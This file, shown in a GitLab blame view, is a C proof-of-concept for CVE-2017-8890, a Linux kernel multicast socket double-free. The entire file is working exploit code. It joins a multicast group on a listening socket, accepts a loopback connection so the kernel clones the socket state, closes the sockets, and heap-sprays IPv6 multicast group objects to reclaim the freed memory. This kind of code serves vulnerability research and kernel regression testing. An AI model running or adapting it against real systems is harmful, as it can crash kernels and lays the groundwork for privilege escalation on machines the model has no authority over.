Skip to content
Snippets Groups Projects
CVE-2017-8890_PoC.c 5.26 KiB
Newer Older
Werner Sembach's avatar
Werner Sembach committed
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>

#define HELLO_WORLD_SERVER_PORT 6666
Werner Sembach's avatar
Werner Sembach committed
#define LENGTH_OF_LISTEN_QUEUE 1
#define SPRAY_SIZE 250
Werner Sembach's avatar
Werner Sembach committed

int server_init = 0;
int server_finish = 0;
int client_finish = 0;

Werner Sembach's avatar
Werner Sembach committed
void heap_spray(int times) {
    printf("[Spray] heap_spray start\n");

Werner Sembach's avatar
Werner Sembach committed
    int sockfd[times];
    for (int i = 0; i < times; ++i) {
        sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0);
        if (sockfd[i] < 0) {
            perror("[Spray] Socket creation failed");
Werner Sembach's avatar
Werner Sembach committed
            exit(errno);
        }
    }

    struct group_req group_req_spray_object = {0};
    struct sockaddr_in6 *sockaddr_in6_spray_object = (struct sockaddr_in6 *) &group_req_spray_object.gr_group;
    sockaddr_in6_spray_object->sin6_family = AF_INET6;
    sockaddr_in6_spray_object->sin6_port = 1234;
    inet_pton(AF_INET6, "ff02:abcd:0000:0000:0000:0000:0000:1", &(sockaddr_in6_spray_object->sin6_addr));
    for (int i = 0; i < times; ++i) {
Werner Sembach's avatar
Werner Sembach committed
        if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_req_spray_object, sizeof(group_req_spray_object))) {
            printf("%d ", i);
            perror("[Spray] setsockopt failed");
Werner Sembach's avatar
Werner Sembach committed
            exit(errno);
        }
    }

    for (int i = 0; i < times; ++i) {
        close(sockfd[i]);
    }

    printf("[Spray] heap_spray end\n");
Werner Sembach's avatar
Werner Sembach committed
    return;
}

void *spray() {
    while (!client_finish) {
        heap_spray(SPRAY_SIZE);
Werner Sembach's avatar
Werner Sembach committed
    }
    return NULL;
}

Werner Sembach's avatar
Werner Sembach committed
void *server(void *arg) {
    struct sockaddr_in server_addr;
    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    struct group_req group = {0};
    struct sockaddr_in *psin;

    psin = (struct sockaddr_in *) &group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    int server_socket = socket(PF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        printf("[Server] Create Socket Failed!");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }

    if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
        perror("[Server] Server Socket Join Group Failed!");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }

    if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
        printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }


    if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
        printf("[Server] Server Listen Failed!");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }

    struct sockaddr_in client_addr;
    socklen_t length = sizeof(client_addr);

    server_init = 1;
    printf("[Server] accept..... \n");
Werner Sembach's avatar
Werner Sembach committed
    int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
    if (new_server_socket < 0) {
        close(server_socket);
        printf("[Server] Server Accept Failed!\n");
Werner Sembach's avatar
Werner Sembach committed
        return NULL;
    }

    printf("[Server] Close new_server_socket\n");
Werner Sembach's avatar
Werner Sembach committed
    close(new_server_socket);
Werner Sembach's avatar
Werner Sembach committed

    heap_spray(SPRAY_SIZE);

    printf("[Server] Close server_socket\n");
Werner Sembach's avatar
Werner Sembach committed
    close(server_socket);
Werner Sembach's avatar
Werner Sembach committed

Werner Sembach's avatar
Werner Sembach committed
    server_finish = 1;
    return NULL;
}

void *client(void *arg) {
    struct sockaddr_in client_addr;
    bzero(&client_addr, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_addr.s_addr = htons(INADDR_ANY);
    client_addr.sin_port = htons(0);
    int client_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (client_socket < 0) {
        printf("[Client] Create socket failed!\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
    if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
        printf("[Client] Client bind port failed!\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
    struct sockaddr_in server_addr;
    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
        printf("[Client] Server IP Address error\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
    socklen_t server_addr_length = sizeof(server_addr);
    if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
        printf("[Client] cannot connect to 127.0.0.1!\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
Werner Sembach's avatar
Werner Sembach committed

    while (!server_finish) {
        sleep(1);
    }

    printf("[Client] Close client_socket\n");
Werner Sembach's avatar
Werner Sembach committed
    close(client_socket);
    client_finish = 1;

    return NULL;
}

int main(int argc, char *argv[]) {
Werner Sembach's avatar
Werner Sembach committed
    pthread_t id_server, id_client, id_spray;

    //pthread_create(&id_spray, NULL, spray, NULL);
Werner Sembach's avatar
Werner Sembach committed

Werner Sembach's avatar
Werner Sembach committed
    pthread_create(&id_server, NULL, server, NULL);
    while (!server_init) {
        sleep(1);
    }
    pthread_create(&id_client, NULL, client, NULL);
    while (!server_finish || !client_finish) {
        sleep(1);
    }
    printf("exit...\n");
    return EXIT_SUCCESS;
}